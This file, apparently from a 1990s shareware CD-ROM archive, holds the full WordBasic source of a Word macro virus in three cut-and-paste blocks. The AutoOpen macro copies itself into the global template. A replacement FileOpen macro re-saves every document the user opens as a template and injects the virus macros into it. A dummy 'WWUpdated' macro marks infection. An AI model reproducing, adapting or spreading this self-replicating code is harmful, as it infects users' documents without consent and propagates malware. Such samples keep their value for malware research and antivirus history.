home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / CCTX0297.ZIP / MVUPDAT7.ZIP / APPARITI.ZIP / APPARITI.TXT < prev    next >
Text File  |  1997-01-21  |  1KB  |  66 lines
  1.  
  2. *** CUT HERE MACRO AutoOpen ***
  3. Sub MAIN
  4. On Error Goto fail
  5. hru = 0
  6. j = CountMacros(0, 0)
  7. For i = 1 To j
  8.  If MacroName$(i, 0, 0) = "WWUpdated" Then hru = 1
  9. Next i
  10.  
  11. If hru = 1 Then Goto fail
  12.  
  13. MsgBox "Gnoi"
  14.  
  15. MacroCopy FileName$() + ":AutoOpen", "Global:AutoOp"
  16. MacroCopy FileName$() + ":WWUpdated", "Global:WWUpdated"
  17. MacroCopy FileName$() + ":DaniloffMuDaK", "Global:FileOpen"
  18. fail:
  19. End Sub
  20. *** END CUT ***
  21.  
  22.  
  23.  
  24. *** CUT HERE MACRO DaniloffMuDaK ***
  25. Sub MAIN
  26. ' this macro loaded in normal template as FileOpen
  27. OurCopyright$ = "Co-Copyright (cc) LordAsd and Stainless Steel Rat"
  28. AVPcopyright$ = "AVP for WinWord v1.0"
  29. DowniloffCopyright$ = "DaniloffMuDaK"
  30. sQuestion$ = "Would you like to "
  31.  
  32. Dim dlg As FileOpen
  33. On Error Goto fail
  34. GetCurValues dlg
  35. Dialog dlg
  36. FileOpen dlg
  37. MsgBox FileName$()
  38.  
  39. gnoi = 0
  40. iCountMacros = CountMacros(1, 0, 0)
  41. For i = 1 To iCountMacros
  42.  zu$ = MacroName$(i, 1)
  43.  If zu$ = "WWUpdated" Then gnoi = 1
  44. Next i
  45.  
  46. If gnoi = 1 Then Goto fail
  47. FileSaveAs FileName$(), .Format = 1
  48. MacroCopy "Global:AutoOp", FileName$() + ":AutoOpen"
  49. MacroCopy "Global:WWUpdated", FileName$() + ":WWUpdated"
  50. MacroCopy "Global:FileOpen", FileName$() + ":DaniloffMuDaK"
  51.  
  52. MsgBox "Suxx"
  53. fail:
  54. End Sub
  55. *** END CUT ***
  56.  
  57.  
  58.  
  59. *** CUT HERE MACRO WWUpdated ***
  60. Sub MAIN
  61. 'Presence of AVP for winword
  62. End Sub
  63. *** END CUT ***
  64.  
  65.  
  66.